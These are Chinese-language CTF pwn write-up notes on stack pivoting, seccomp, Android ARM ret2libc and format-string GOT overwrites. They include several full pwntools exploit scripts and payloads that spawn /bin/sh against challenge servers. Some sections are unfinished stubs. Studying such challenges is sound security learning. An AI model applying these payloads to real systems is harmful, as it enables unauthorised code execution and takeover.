0x5-ret2csu
待补充…
0x6-ret2srop
360chunqiu2017_smallest[64位]:
IDA查看,程序非常简单且没有任何system和bin_sh:
待补充…
0x7-其它
7-1 栈迁移
栈迁移题目的特点一般是存在栈溢出,但溢出的空间非常有限(可能只有个位数的字节),无法写rop链,也没有任何返回shell的‘后门’函数,那么就不得不使用栈迁移来getshell.
判断栈迁移的实施条件:
- 存在
leave ret
这类gadget指令 - 存在可执行shellcode的内存区域
ciscn_2019_es_2 [32位]:
同样只开启了NX保护,有一个vuln函数以及hack函数,hack函数只是打印了一个flag字符串,可以忽略:
vuln函数中包含明显的栈溢出,但溢出长度有限,只有8字节:
倒是可以利用hack函数将’echo flag’字符串改为’/bin/sh’,实现system(’/bin/sh),从而getshell.
7-2 seccomp沙盒逃逸
seccomp 使用:
seccomp-tools dump ./RANDOM
可以查看沙箱对于shellcode的限制:
如上图,沙箱对execve进行了ban,然后就需要使用orw,关于orw,参见:
https://www.jianshu.com/p/754b0a2ae353
7-3 ARM架构
首先Android上的ASLR是伪ASLR,因为所有程序都是由zygote fork出来的,因此系统中的所有library的基址都是相同的,并且和zygote的内存布局一样,可以通过cat /proc/xxx/maps得到证实:
root@hammerhead:/ # cat /proc/1698/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0
40104000-40105000 r--p 00000000 00:00 0
40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so
root@hammerhead:/ # cat /proc/1720/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0
40104000-40105000 r--p 00000000 00:00 0
40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so
因此只要在自己的APP上得到libc.so的地址,同样也就可以知道其他APP的libc.so的基址了。
level8.c代码:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
void getsystemaddr()
{
void* handle = dlopen("libc.so", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
getsystemaddr();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局,接下来我们可以通过ROPgadget从libc.so中寻找我们需要的gadget地址,因为libc.so文件足够的大,因此我们完全不用担心找不到需要的gadgets,但是很奇怪,我第一次用ROPgadget将gadget地址保存至txt文件中,只有很少量的可用地址,因为这个问题,导致我在这里卡了2、3个小时,@_@
#0x0002e188 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc}
#0x000348a2 : ldr r0, [sp] ; pop {r1, r2, r3, pc}
其中348a2这个地址是与教程上的34ace一致的,因此,只要再将/system/bin/sh的地址确认即可。
虽然知道了gadget和/system/bin/sh的地址,依然需要根据system在内存中的地址进行偏移量的计算才能够成功的找到gadgets和"/system/bin/sh"在内存中的地址,另外这里还需要留意一下thumb和arm指令转换的问题,最终的exp.py如下:
#!/usr/bin/env python
# -- coding: utf-8 --
from pwn import *
#p = process('./level8')
p = remote('127.0.0.1',10001)
system_addr_str = p.recvuntil('\n')
print "str:" + system_addr_str
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
p.recvuntil('\n')
#0x0002e188 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc}
#0x000348a2 : ldr r0, [sp] ; pop {r1, r2, r3, pc}
gadget1 = system_addr + (0x0002e188 - 0x000250E0)
print "gadget1 = " + hex(gadget1)
#.rodata:0003F8AC aSystemBinSh DCB "/system/bin/sh",0
r0 = system_addr + (0x0003F8AC - 0x000250E0) - 1
print "/system/bin/sh addr = " + hex(r0)
#如果使用0x2e188这个地址的gadget的话,通过计算*0xc同样可以成功实现
payload = '\x00'*132 + p32(gadget1) + "\x00"*0x4 + p32(r0) + "\x00"*0xc + p32(system_addr)
#payload = '\x00'*132 + p32(gadget1) + p32(r0) +"\x00"*0x8 + p32(system_addr)
p.send(payload)
p.interactive()
如果要使用2e188这个地址的话,需要增加0xc个"\x00",具体计算方式:
0x4*(R2+R3+R4+R5+R6)-0x4-0x4(R0)=0xc
执行结果:
$ python level8.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
str:0xb6eb40e1
system_addr = 0xb6eb40e1
gadget1 = 0xb6ebd189
/system/bin/sh addr = 0xb6ece8ac
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) context=u:r:init:s0
7-4 EXEC使用
- 先向程序中输入字符串
- 然后一次执行
close(1);close(2);
最后返回shell函数也就是system(/bin/sh)
EXEC的两种用法
- exec 命令 ;命令代替shell程序,命令退出,shell 退出;比如
exec ls
- exec 文件重定向,可以将文件的重定向就看为是shell程序的文件重定向 比如
exec 5</dev/null;exec 5<&-
7-5 伪随机数
对于此类题目,可以利用ctypes库模拟随机数生成来解决。
120层:
from PwnModules import *
import ctypes
context(arch='amd64',os='linux',log_level='debug')
# io = process('./random_num')
io = remote('node3.anna.nssctf.cn',28900)
elf = ELF('./random_num')
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.srand(libc.time(0))
rand_result = libc.rand()
libc.srand(rand_result % 3 - 1522127470)
io.recvuntil(b'killed by a trap.\n')
for i in range(120):
rand_r = libc.rand() %4 + 1
io.recvuntil(b'Floor')
io.sendline(str(rand_r))
io.interactive()
0x8-格式化字符串利用
(pwn.tn)f_one(64位):
checksec:
main函数:
vuln函数:
另外通过GDB动态调试,查看main()和vuln():
main()似乎没有任何问题,vuln()开头sub rsp,0x40
以及fgets@plt
可以获取最多0x6c的用户输入存在明显的缓冲区溢出漏洞。
Canary:
那么解题思路大概如下:
- 利用stack_chk_fail,将其覆盖vuln(),以实现无限循环利用,从而泄露一些地址
- 将某个@got 覆盖为one_gadget,从而实现
’system /bin/bash’
解法1:
1、 运行f_one,利用%p方法查找泄露位置:
可以看到输入位置位于%6$p,但是如果用64位地址替换掉AAAABBBB的话,会因为空字节(\x00)问题而中断,因此需要将AAAABBBB放在payload末尾。
可以看到因为”\n“覆盖了Canary的最后一个字节而触发了Canary保护导致的stack smashing detected,同时可以看到0x4242424241414141位于%12$p处,那么尝试将stack_chk_fail@got覆盖位vuln()看看。
vuln():0x4006b7
这个问题倒是不大,因为只要修改stack_chk_fail@got的最后两个字节为vuln()的即可(即0x06b7⇒1719)
根据IDA静态分析和GDB动态分析可知,要覆盖到Canary只需要0x38(56)长度的payload即可:
因此Payload1的构造格式为:
%c%c%c%c%c%c%c%c%c%c%1709c%hnPPPPPPPPPPPPPPPPPPP\xa0\x0b`\x00\x00\x00\x00\x00
那么%hn后面用来泄露谁的地址比较合适呢?从GDB动态调试中可以看到,似乎__libc_start_main
是最合适的,位置为%17$p:
注意这里的mov edi,eax
,对应的刚好是IDA静态查看__libc_start_main
中结束的位置:
OK,根据以上,Payload1最终为:
%c%c%c%c%c%c%c%c%c%c%1709c%hn%17$pPPPPPPPPPPPPPP\xa0\x0b`\x00\x00\x00\x00\x00
直接python发送payload看看,成功返回到give me something:
然后需要利用覆盖任意got到one_gadget,但是在ubuntu20.04的本地环境中,由于libc6.so的问题,在利用one_gadget工具寻找时与国外writeup不同,后改为ubuntu18.04,但仍有少许不同,不过one_gadget这里总算是OK了。
国外writeup上的第二个one_gadget地址为:0x4f3c2
OK,接下来就是泄露地址,然后利用one_gadget。
根据writeup所说,因为要考虑插入空字节,所以没有选择覆盖fgets@got,而选择了printf@got,因此通过gdb动态调试可以查看到one_gadget的地址以及流程:
根据动态调试可以看到__libc_start_main
的地址为0x00007ffff7a03c87
:
然后在IDA中查看__libc_start_main
偏移地址(0x21c87
,与writeup中的0x21b97
同样有所不同):
通过获得libc基址+one_gadget,在gdb中查看:
与writeup所说一样,确实是one_gadget入口。于是就有了如下一些地址:
printf@got: 0x600ba8
printf@got value: 0x00007ffff7a03c87
one_gadget: 0x7ffff7a31302
因此可以利用%hhn将0x02写入0x40,再使用%hn写入0x313(writeup为利用%hhn 将0x00 写入 0xc2,再使用%hn写入0xa333,如下图:)
printf@got + <Some 8 byte> + <printf@got + 1>
于是payload2构造(writeup)如下:
%c%c%c%c%c%c%c%c%c%185c%hhn%41585c%hnPPP\xa8\x0b`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x0b`\x00\x00\x00\x00\x00
因为本地环境要0x02写入,而不同于writeup的0xc2,目前暂不知道该如何构建此类payload,故改变思路,根据原作者的第一种解决方案,再次尝试。
参考方案1的解法2:
首先将本地libc.so丢入IDA查看libc_start_main的offset地址(0x21C87
)。
接着再查找system的offset地址(0x4F420
)。
然后第一步,通过覆盖stack_chk_fail地址改为vuln地址,并泄露libc_start_main_ret地址:
payload构造:
payload1 = b'%c'*10
payload1 += b'%1709c%hn' # Overwrite stack_chk_fail
payload1 += b'%17$p' # leak libc_start_main_ret address
payload1 = payload1.ljust(stack_chk_fail_offset-8, b'P')
payload1 += p64(stack_chk_fail_got)
程序重新回到vuln函数,然后利用第一步获得libc_start_main_ret地址来进一步获得libc基址以及system实际地址。
p.recvuntil(b'thing:')
p.sendline(payload1)
p.recvline()
libc_start_main_ret_addr = int(p.recvline().split(b'0x')[1][:12], 16)
libc_base = libc_start_main_ret_addr - libc_start_main_ret_offset
system_addr = libc_base + system_offset
print('[+] Leak libc_start_main_ret address:' + hex(libc_start_main_ret_addr))
print('[*] Libc base: ' + hex(libc_base))
print('[*] System address: ' + hex(system_addr))
然后覆盖printf@got地址为system地址:
printf_got = 0x600ba8 # 0x7ffff7 a48f 00
payload2 = b'%c'*9
payload2 += b'%215c%hhn'
payload2 += '%{}c%hn'.format(int(hex(system_addr)[8:-2], 16) - 0xe0).encode()
payload2 = payload2.ljust(stack_chk_fail_offset-8*2, b'P')
payload2 += p64(0x600ba8)
payload2 += b'AAAABBBB'
payload2 += p64(0x600ba8 + 1)
p.sendline(payload2)
注:215+9=224(0xE0)为system偏移地址的最后一个字节,根据本地环境(system)的不同,payload相应要改为
解惑:根据下图writeup作者所说,当泄露了print@got的value后,需要逐字节进行修改,因此print@got是修改code>0x7fff7a48f00的最后1字节,而print@got+1则是使用%hn修改了0x7fff7a48f00
的a48f两个字节。
另外关于print@got写入system地址的问题,有文章也说到了利用姿势:
payload2 = b'%c'*9
payload2 += b'%23c%hhn'
payload2 += '%{}c%hn'.format(int(hex(system_addr)[8:-2], 16) - 0x20).encode()
注:关于%7$、%8$、%9$
的占位确定问题,是需要根据payload的长度,然后从输入’AAAA’的格式化字符串处进行偏移计算得出。
最后发送/bin/sh,interactive()即可。
payload3 = b'/bin/sh\x00'
payload3 = payload3.ljust(stack_chk_fail_offset, b'P')
p.recvuntil(b'thing: ')
p.sendline(payload3)
p.interactive()
本地/远程均成功:
远程脚本使用了LibcSearcher:
from pwn import *
from LibcSearcher import *
context(arch="amd64",os='linux',log_level="debug")
#io = process("./f_one")
io = remote ("challenges-box1.pwn.tn",1111)
elf = ELF("./f_one")
context.log_level = "debug"
__stack_chk_fail=elf.got['__stack_chk_fail']
vuln_addr = 0x4006B7
printf_got = elf.got['printf']
print("[*printf@got:]",hex(printf_got))
#改写返回地址为main/vuln
payload = fmtstr_payload(6,{ __stack_chk_fail: vuln_addr})
#payload += b'%17$p'
payload = payload.ljust(0x38,b'A')
print("[*]payload1:",payload)
io.sendlineafter("thing: ",payload)
#泄露libc&system地址
#libc = LibcSearcher("puts",puts_addr)
payload2 = b"%27$p"
payload2 = payload2.ljust(0x38,b'B')
io.sendlineafter("thing: ",payload2)
io.recvline()
libc_start_main = int(io.recvline()[:14],16)
print("[*]libc_start_main_ret:",hex(libc_start_main))
#libc_start_main_offset = 0x24083
libc = LibcSearcher("__libc_start_main_ret",libc_start_main)
libc_base = libc_start_main - libc.dump('__libc_start_main_ret')
print("[*]libc_base:",hex(libc_base))
system_addr = libc_base + libc.dump('system')
print("[*]system_address:"+hex(system_addr))
#payload3 = fmtstr_payload(6,{printf_got: system_addr}) #用fmtstr_payload生成后的payload长度超过0x38,无法触发
#参考writeup的手写payload
payload3 = b'%c'*9
payload3 += b'%23c%hhn'
payload3 += '%{}c%hn'.format(int(hex(system_addr)[8:-2], 16) - 0x20).encode()
payload3 = payload3.ljust(40, b'B')
payload3 += p64(printf_got)
payload3 += b'BBBBBBBB'
payload3 += p64(printf_got + 1)
print("[*]payload3=",payload3)
#sleep(2)
io.sendline(payload3)
#io.sendlineafter("thing: \n",payload3)
payload4 = b'/bin/sh\x00'
io.sendlineafter('thing: ',payload4)
io.interactive()
还可以利用pwntools中的现成工具fmtstr_payload
直接将__stack_chk_fail 劫持到vuln(),形成不断的重回vuln():
payload2 = fmtstr_payload(6,{ __stack_chk_fail: vuln_addr})
生成的payload如下:
说明:它生成的payload除了将偏移位置第9位的返回地址修改为1719(换算成16进制即0x06B7,因为vuln函数在IDA中查看,其地址为0x4006B7,c为char类型字符,同理d、i为有符号十进制int值,lln为匹配long long大小的整型参数)
fmtstr_payload
的利用原理,其实就是利用的格式化字符串覆盖地址/值的做法,即:%地址c%偏移位置$lln
疑惑与探究:
- 为什么
fmtstr_payload
给的偏移位置为6(_start),而没有根据64位的特点进行+6?
根据fmstr模块说明:
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- offset(int):为你控制的第一个格式化程序的偏移量
- writes(dic):格式为{addr:value , addr2:value2},用于往addr里写入value的
- numbwritten(int):已经由printf函数写入的字节数
- write_size(str):必须是byte、short或int。(hhn,hn,n)
- 为什么
fmtstr_payload
生成的payload 还要修改偏移位置为10的地方(即返回地址下方),修改值为137(16进制为0x89)?而后面的\xa0\x0b
\x00\x00\x00\x00\x00\xa2\x0b\x00\x00\x00\x00\x00
是什么意思?
- 为什么
%1719c(0x06b7)配合lln(8字节),是将后面的\xa0\x0b(即0x600ba0:stack_check_fail)修改为0x00000b67,而%137c则是与前面的%1719相加(1856→0x0740),然后配合hhn(1字节),利用\xa2\x0b(即0x600ba2→stack_check_fail+1)修改高位为40,最终形成0x4006b7(即vuln函数入口地址)跳转.
因为137+1719=1856(0x740),而hhn则是修改1个字节,即40,最终形成了4006b7(vuln函数地址)**
wdb_2018_2nd_easyfmt[32位]:
代码很简单:
gdb动态调试,确认格式化字符串位置(也可通过%p.大法来确定):
利用思路:
- 首先通过格式化字符串%n$s泄露栈信息,从而获得system地址
- 通过格式化字符串修改printf_got表为system地址
- 发送“/bin/sh\x00”
from pwn import *
from LibcSearcher import *
io = remote("node4.buuoj.cn",27377)
#io = process ('./wdb_2018_2nd_easyfmt')
elf = ELF ('./wdb_2018_2nd_easyfmt')
libcso = ELF('./libc-2.23.so')
context.log_level = "debug"
printf_got = elf.got['printf']
print("print_got:"+hex(printf_got))
payload1 = p32(printf_got) + b'%6$s'
io.recvuntil('repeater?\n')
io.send(payload1)
io.recv(4)
printf_addr = u32(io.recv(4))
print ("printf_addr:"+hex(printf_addr))
libcbase = printf_addr - libcso.symbols['printf']
#libc = LibcSearcher("printf",printf_addr)
#libcbase = printf_addr - libc.dump("printf")
print ("libc_base:"+hex(libcbase))
system_addr = libcbase + libcso.symbols['system']
print ("system_addr:"+hex(system_addr))
#binsh_addr = libcbase + libc.dump("str_bin_sh")
#print ("binsh_addr:"+hex(binsh_addr))
payload2 = fmtstr_payload(6,{printf_got:system_addr})
io.sendline(payload2)
io.sendline("/bin/sh\x00")
io.interactive()